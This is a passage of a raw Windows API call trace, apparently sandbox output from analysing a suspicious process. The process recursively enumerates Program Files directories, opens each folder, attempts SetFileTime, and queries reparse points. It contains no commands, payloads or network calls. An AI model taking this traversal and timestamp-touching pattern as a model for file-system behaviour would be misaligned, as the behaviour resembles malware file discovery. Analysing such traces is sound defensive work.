ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.702] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e98f1d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e98f1d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ebf07d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0089.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1f28 [0089.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef9a8 [0089.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.703] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e98f1d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e98f1d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ebf07d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0089.703] GetLastError () returned 0x12 [0089.703] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.703] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.704] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.704] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e98f1d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e98f1d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ebf07d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0089.704] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e98f1d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e98f1d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ebf07d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0089.704] GetLastError () returned 0x12 [0089.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.704] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.704] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="")) returned 1 [0089.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.705] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations" (normalized: "c:\\program files (x86)\\windows media player\\visualizations"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.705] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations" (normalized: "c:\\program files (x86)\\windows media player\\visualizations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.705] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.706] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.706] NtClose (Handle=0x164) returned 0x0 [0089.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.707] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.707] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.707] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.707] GetLastError () returned 0x12 [0089.707] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.707] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.707] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.707] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.707] GetLastError () returned 0x12 [0089.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.708] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ee51dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ee51dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x37c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f0b33d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f0b33d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb66c42a7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b8907f, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x42b8907f, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19c3730, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdc01da, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4fdc01da, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7a92dc30, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5749e95b, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5749e95b, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19ea830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c0b4b2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x59c0b4b2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19ea830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x73400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4041c528, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4041c528, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb1a36320, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53bc9d99, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53bc9d99, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7ad31980, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0089.708] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0 [0089.709] GetLastError () returned 0x12 [0089.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.709] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.710] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0089.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.710] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT" (normalized: "c:\\program files (x86)\\windows nt"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0089.710] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT" (normalized: "c:\\program files (x86)\\windows nt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0089.710] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.710] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.711] NtClose (Handle=0x178) returned 0x0 [0089.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.712] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0089.712] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.712] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293cd730, ftCreationTime.dwHighDateTime=0x1d5be4d, ftLastAccessTime.dwLowDateTime=0x2ad40d50, ftLastAccessTime.dwHighDateTime=0x1d545cd, ftLastWriteTime.dwLowDateTime=0x2ad40d50, ftLastWriteTime.dwHighDateTime=0x1d545cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="")) returned 1 [0089.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="")) returned 1 [0089.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c031f0, ftCreationTime.dwHighDateTime=0x1d5778f, ftLastAccessTime.dwLowDateTime=0x9a2976a0, ftLastAccessTime.dwHighDateTime=0x1d59518, ftLastWriteTime.dwLowDateTime=0x9a2976a0, ftLastWriteTime.dwHighDateTime=0x1d59518, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="paintball-indie-bailey.exe", cAlternateFileName="")) returned 1 [0089.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.715] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 1 [0089.715] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 0 [0089.715] GetLastError () returned 0x12 [0089.715] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0089.715] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.715] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.715] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293cd730, ftCreationTime.dwHighDateTime=0x1d5be4d, ftLastAccessTime.dwLowDateTime=0x2ad40d50, ftLastAccessTime.dwHighDateTime=0x1d545cd, ftLastWriteTime.dwLowDateTime=0x2ad40d50, ftLastWriteTime.dwHighDateTime=0x1d545cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="")) returned 1 [0089.715] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, 